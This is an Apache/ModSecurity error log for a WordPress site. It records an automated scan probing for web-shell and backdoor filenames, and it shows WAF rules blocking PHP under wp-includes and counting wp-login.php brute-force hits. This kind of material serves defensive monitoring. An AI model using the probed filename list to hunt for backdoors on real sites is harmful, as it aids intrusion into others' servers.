[Mon Nov 24 14:45:24.869747 2025] [:error] [pid 49900:tid 49905] [client 181.215.65.65:51509] [client 181.215.65.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSP_BDCyPLrvg06aorns0QAAAAM"]
[Mon Nov 24 14:45:28.383742 2025] [:error] [pid 48599:tid 48622] [client 104.234.32.3:23071] File does not exist: /usr/local/apache/htdocs/suspended-page/wander.php
[Mon Nov 24 14:45:29.074252 2025] [:error] [pid 48599:tid 48623] [client 104.234.32.3:23071] [client 104.234.32.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aSP_CZzvu6PDJiRKE3IKlwAAAZQ"]
[Mon Nov 24 14:45:31.187353 2025] [:error] [pid 16549:tid 16569] [client 104.234.32.1:44703] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-config-sample.php
[Mon Nov 24 14:45:37.078816 2025] [:error] [pid 16549:tid 16558] [client 104.234.32.1:44703] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Mon Nov 24 14:45:39.084862 2025] [:error] [pid 16549:tid 16557] [client 104.234.32.1:44703] File does not exist: /usr/local/apache/htdocs/suspended-page/users.php
[Mon Nov 24 14:45:39.781751 2025] [:error] [pid 16549:tid 16575] [client 104.234.32.1:44703] [client 104.234.32.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSP_E6eWW19A99PUw_cjPwAAAVY"]
[Mon Nov 24 14:45:42.546650 2025] [:error] [pid 9630:tid 9636] [client 181.215.65.73:43755] File does not exist: /usr/local/apache/htdocs/suspended-page/sim.php
[Mon Nov 24 14:45:45.065955 2025] [:error] [pid 9630:tid 9635] [client 181.215.65.73:43755] [client 181.215.65.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSP_GSrSgUgPGkizt2rIegAAAEM"]
[Mon Nov 24 14:45:46.973063 2025] [:error] [pid 49900:tid 49908] [client 181.215.65.75:39205] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Mon Nov 24 14:45:50.078441 2025] [:error] [pid 49900:tid 49913] [client 181.215.65.75:39205] [client 181.215.65.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSP_HjCyPLrvg06aorns3wAAAAs"]
[Mon Nov 24 14:45:52.164419 2025] [:error] [pid 48599:tid 48603] [client 181.215.65.77:23125] [client 181.215.65.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSP_IJzvu6PDJiRKE3IKpQAAAYA"]
[Mon Nov 24 14:45:54.087628 2025] [:error] [pid 16593:tid 16612] [client 85.237.194.134:50601] [client 85.237.194.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSP_IhVGznHBJI2LKpQljwAAApE"]
[Mon Nov 24 14:45:56.094177 2025] [:error] [pid 48688:tid 48693] [client 104.234.32.2:28841] [client 104.234.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSP_JBm2q1FkzLam7A2B6QAAAkE"]
[Mon Nov 24 14:46:03.586173 2025] [:error] [pid 16441:tid 16463] [client 104.234.32.3:63287] [client 104.234.32.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSP_K4q_bc5MOa9HflkAmQAAAJM"]
[Mon Nov 24 14:46:06.497426 2025] [:error] [pid 48600:tid 48650] [client 85.237.194.38:27951] [client 85.237.194.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSP_LvtOzSUAQvWVjBdk2AAAAdQ"]
[Mon Nov 24 14:46:08.669858 2025] [:error] [pid 16593:tid 16607] [client 85.237.194.96:48257] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Mon Nov 24 14:46:09.971886 2025] [:error] [pid 16593:tid 16609] [client 85.237.194.96:48257] [client 85.237.194.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSP_MRVGznHBJI2LKpQllQAAAo4"]
[Mon Nov 24 14:46:17.377134 2025] [:error] [pid 16549:tid 16573] [client 85.237.194.72:40697] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-post.php
[Mon Nov 24 14:46:18.078475 2025] [:error] [pid 16549:tid 16561] [client 85.237.194.72:40697] File does not exist: /usr/local/apache/htdocs/suspended-page/conf_upload.php
[Mon Nov 24 14:46:18.685253 2025] [:error] [pid 16549:tid 16562] [client 85.237.194.72:40697] [client 85.237.194.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSP_OqeWW19A99PUw_cjTwAAAUo"]
[Mon Nov 24 14:46:21.588321 2025] [:error] [pid 48599:tid 48614] [client 85.237.194.110:30281] [client 85.237.194.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aSP_PZzvu6PDJiRKE3IKrAAAAYs"]
[Mon Nov 24 14:46:23.278167 2025] [:error] [pid 49900:tid 49910] [client 85.237.194.86:60619] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-configs.php
[Mon Nov 24 14:46:24.796660 2025] [:error] [pid 49900:tid 49923] [client 85.237.194.86:60619] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
[Mon Nov 24 14:46:26.286584 2025] [:error] [pid 49900:tid 49907] [client 85.237.194.86:60619] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Mon Nov 24 14:46:27.071427 2025] [:error] [pid 49900:tid 49920] [client 85.237.194.86:60619] [client 85.237.194.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aSP_QzCyPLrvg06aorns9gAAABI"]
[Mon Nov 24 14:46:30.821328 2025] [:error] [pid 16516:tid 16529] [client 85.237.194.87:60321] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Mon Nov 24 14:46:34.778312 2025] [:error] [pid 16516:tid 16520] [client 85.237.194.87:60321] File does not exist: /usr/local/apache/htdocs/suspended-page/files.php
[Mon Nov 24 14:46:35.480305 2025] [:error] [pid 16516:tid 16526] [client 85.237.194.87:60321] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Mon Nov 24 14:46:37.581588 2025] [:error] [pid 16516:tid 16536] [client 85.237.194.87:60321] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Mon Nov 24 14:46:38.298037 2025] [:error] [pid 16516:tid 16543] [client 85.237.194.87:60321] File does not exist: /usr/local/apache/htdocs/suspended-page/tinyfilemanager.php
[Mon Nov 24 14:46:41.181216 2025] [:error] [pid 16516:tid 16527] [client 85.237.194.87:60321] File does not exist: /usr/local/apache/htdocs/suspended-page/woh.php
[Mon Nov 24 14:46:41.796247 2025] [:error] [pid 16516:tid 16526] [client 85.237.194.87:60321] [client 85.237.194.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aSP_UfqZbniwaNwL8XnPmgAAAQc"]
[Mon Nov 24 14:46:43.766138 2025] [:error] [pid 48600:tid 48650] [client 181.215.65.67:46639] [client 181.215.65.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSP_U_tOzSUAQvWVjBdk7QAAAdQ"]
[Mon Nov 24 14:46:45.179814 2025] [:error] [pid 16441:tid 16448] [client 85.237.194.60:49329] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Mon Nov 24 14:46:45.875889 2025] [:error] [pid 16441:tid 16454] [client 85.237.194.60:49329] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Mon Nov 24 14:46:46.572240 2025] [:error] [pid 16441:tid 16450] [client 85.237.194.60:49329] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Mon Nov 24 14:46:47.271528 2025] [:error] [pid 16441:tid 16444] [client 85.237.194.60:49329] [client 85.237.194.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aSP_V4q_bc5MOa9HflkAsgAAAIA"]
[Mon Nov 24 14:46:48.664323 2025] [:error] [pid 48688:tid 48704] [client 85.237.194.104:25631] [client 85.237.194.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSP_WBm2q1FkzLam7A2CBQAAAkw"]
[Mon Nov 24 14:46:50.063254 2025] [:error] [pid 16441:tid 16467] [client 181.215.65.68:65085] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Mon Nov 24 14:46:50.773867 2025] [:error] [pid 16441:tid 16457] [client 181.215.65.68:65085] [client 181.215.65.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/fonts/wp-login.php"] [unique_id "aSP_Woq_bc5MOa9HflkAugAAAI0"]
[Mon Nov 24 14:46:52.183100 2025] [:error] [pid 16441:tid 16445] [client 85.237.194.71:40153] File does not exist: /usr/local/apache/htdocs/suspended-page/readme.php
[Mon Nov 24 14:46:52.873260 2025] [:error] [pid 16441:tid 16455] [client 85.237.194.71:40153] File does not exist: /usr/local/apache/htdocs/suspended-page/sck.php
[Mon Nov 24 14:46:54.275460 2025] [:error] [pid 16441:tid 16455] [client 85.237.194.71:40153] File does not exist: /usr/local/apache/htdocs/suspended-page/fm.php
[Mon Nov 24 14:46:55.684674 2025] [:error] [pid 16441:tid 16467] [client 85.237.194.71:40153] File does not exist: /usr/local/apache/htdocs/suspended-page/packed.php
[Mon Nov 24 14:46:56.373694 2025] [:error] [pid 16441:tid 16461] [client 85.237.194.71:40153] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Mon Nov 24 14:46:56.997995 2025] [:error] [pid 16441:tid 16457] [client 85.237.194.71:40153] [client 85.237.194.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSP_YIq_bc5MOa9HflkAxgAAAI0"]
[Mon Nov 24 14:46:58.991247 2025] [:error] [pid 9630:tid 9655] [client 85.237.194.70:46959] [client 85.237.194.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.70, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSP_YirSgUgPGkizt2rJFAAAAFc"]
[Mon Nov 24 14:46:59.686489 2025] [:error] [pid 9630:tid 9651] [client 85.237.194.70:46959] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin.php
[Mon Nov 24 14:47:00.373884 2025] [:error] [pid 9630:tid 9649] [client 85.237.194.70:46959] [client 85.237.194.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSP_ZCrSgUgPGkizt2rJFgAAAFE"]
[Mon Nov 24 14:47:01.802322 2025] [:error] [pid 48600:tid 48630] [client 85.237.194.104:39381] [client 85.237.194.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aSP_ZftOzSUAQvWVjBdk8QAAAcA"]
[Mon Nov 24 14:47:04.018778 2025] [:error] [pid 49900:tid 49916] [client 85.237.194.70:42229] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Mon Nov 24 14:47:04.688067 2025] [:error] [pid 49900:tid 49907] [client 85.237.194.70:42229] File does not exist: /usr/local/apache/htdocs/suspended-page/load.php
[Mon Nov 24 14:47:05.376289 2025] [:error] [pid 49900:tid 49921] [client 85.237.194.70:42229] [client 85.237.194.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aSP_aTCyPLrvg06aorntDwAAABM"]
[Mon Nov 24 14:47:06.761250 2025] [:error] [pid 16441:tid 16447] [client 181.215.65.74:42365] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-tags.php
[Mon Nov 24 14:47:07.478515 2025] [:error] [pid 16441:tid 16453] [client 181.215.65.74:42365] [client 181.215.65.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aSP_a4q_bc5MOa9HflkAzQAAAIk"]
[Mon Nov 24 14:47:09.394397 2025] [:error] [pid 16441:tid 16456] [client 85.237.194.87:41375] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Mon Nov 24 14:47:10.070227 2025] [:error] [pid 16441:tid 16448] [client 85.237.194.87:41375] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Mon Nov 24 14:47:10.772817 2025] [:error] [pid 16441:tid 16460] [client 85.237.194.87:41375] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/cloud.php
[Mon Nov 24 14:47:14.185700 2025] [:error] [pid 16441:tid 16456] [client 85.237.194.87:41375] File does not exist: /usr/local/apache/htdocs/suspended-page/product.php
[Mon Nov 24 14:47:14.796297 2025] [:error] [pid 16441:tid 16448] [client 85.237.194.87:41375] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/class_api.php
[Mon Nov 24 14:47:16.184521 2025] [:error] [pid 16441:tid 16462] [client 85.237.194.87:41375] [client 85.237.194.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aSP_dIq_bc5MOa9HflkA3wAAAJI"]
[Mon Nov 24 14:47:17.769074 2025] [:error] [pid 49900:tid 49908] [client 181.215.65.72:55173] File does not exist: /usr/local/apache/htdocs/suspended-page/base.php
[Mon Nov 24 14:47:19.196311 2025] [:error] [pid 49900:tid 49912] [client 181.215.65.72:55173] File does not exist: /usr/local/apache/htdocs/suspended-page/zero.php
[Mon Nov 24 14:47:19.869210 2025] [:error] [pid 49900:tid 49915] [client 181.215.65.72:55173] [client 181.215.65.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "aSP_dzCyPLrvg06aorntFgAAAA0"]
[Mon Nov 24 14:47:21.986910 2025] [:error] [pid 16549:tid 16573] [client 85.237.194.87:32719] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Mon Nov 24 14:47:22.790785 2025] [:error] [pid 16549:tid 16561] [client 85.237.194.87:32719] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Mon Nov 24 14:47:23.402264 2025] [:error] [pid 16549:tid 16562] [client 85.237.194.87:32719] [client 85.237.194.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.87, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aSP_e6eWW19A99PUw_cjhgAAAUo"]
[Mon Nov 24 14:47:23.405993 2025] [:error] [pid 16549:tid 16562] [client 85.237.194.87:32719] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php
[Mon Nov 24 14:47:25.588153 2025] [:error] [pid 16549:tid 16567] [client 85.237.194.87:32719] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-set.php
[Mon Nov 24 14:47:26.291367 2025] [:error] [pid 16549:tid 16554] [client 85.237.194.87:32719] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Mon Nov 24 14:47:28.668641 2025] [:error] [pid 16549:tid 16572] [client 85.237.194.87:32719] [client 85.237.194.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aSP_gKeWW19A99PUw_cjjQAAAVM"]
[Mon Nov 24 14:47:29.968789 2025] [:error] [pid 9630:tid 9644] [client 85.237.194.145:40273] [client 85.237.194.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.145, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aSP_gSrSgUgPGkizt2rJbQAAAEw"]
[Mon Nov 24 14:47:30.576027 2025] [:error] [pid 9630:tid 9654] [client 85.237.194.145:40273] [client 85.237.194.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aSP_girSgUgPGkizt2rJcAAAAFY"]
[Mon Nov 24 14:47:37.471832 2025] [:error] [pid 49900:tid 49909] [client 181.215.65.73:44695] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php
[Mon Nov 24 14:47:41.776253 2025] [:error] [pid 49900:tid 49905] [client 181.215.65.73:44695] [client 181.215.65.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aSP_jTCyPLrvg06aorntYwAAAAM"]
[Mon Nov 24 14:47:43.075395 2025] [:error] [pid 9630:tid 9643] [client 181.215.65.74:28237] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Mon Nov 24 14:47:44.377081 2025] [:error] [pid 9630:tid 9636] [client 181.215.65.74:28237] [client 181.215.65.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSP_kCrSgUgPGkizt2rJsAAAAEQ"]
[Mon Nov 24 14:47:46.572855 2025] [:error] [pid 16593:tid 16600] [client 85.237.194.105:59805] [client 85.237.194.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.105, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aSP_khVGznHBJI2LKpQlqQAAAoU"]
[Mon Nov 24 14:47:48.572366 2025] [:error] [pid 16593:tid 16607] [client 85.237.194.105:59805] File does not exist: /usr/local/apache/htdocs/suspended-page/pages.php
[Mon Nov 24 14:47:49.280655 2025] [:error] [pid 16593:tid 16596] [client 85.237.194.105:59805] File does not exist: /usr/local/apache/htdocs/suspended-page/bulk.php
[Mon Nov 24 14:47:49.891832 2025] [:error] [pid 16593:tid 16606] [client 85.237.194.105:59805] File does not exist: /usr/local/apache/htdocs/suspended-page/kk.php
[Mon Nov 24 14:47:52.194071 2025] [:error] [pid 16593:tid 16608] [client 85.237.194.105:59805] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-logout.php
[Mon Nov 24 14:47:52.785475 2025] [:error] [pid 16593:tid 16609] [client 85.237.194.105:59805] [client 85.237.194.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aSP_mBVGznHBJI2LKpQlsQAAAo4"]
[Mon Nov 24 14:47:55.526036 2025] [:error] [pid 16441:tid 16449] [client 104.234.32.4:31243] [client 104.234.32.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aSP_m4q_bc5MOa9HflkBrAAAAIU"]
[Mon Nov 24 14:48:08.184257 2025] [:error] [pid 16441:tid 16457] [client 181.215.65.67:32483] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Mon Nov 24 14:48:08.882092 2025] [:error] [pid 16441:tid 16460] [client 181.215.65.67:32483] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Mon Nov 24 14:48:10.972870 2025] [:error] [pid 16441:tid 16463] [client 181.215.65.67:32483] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Mon Nov 24 14:48:11.576320 2025] [:error] [pid 16441:tid 16455] [client 181.215.65.67:32483] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-simple.php
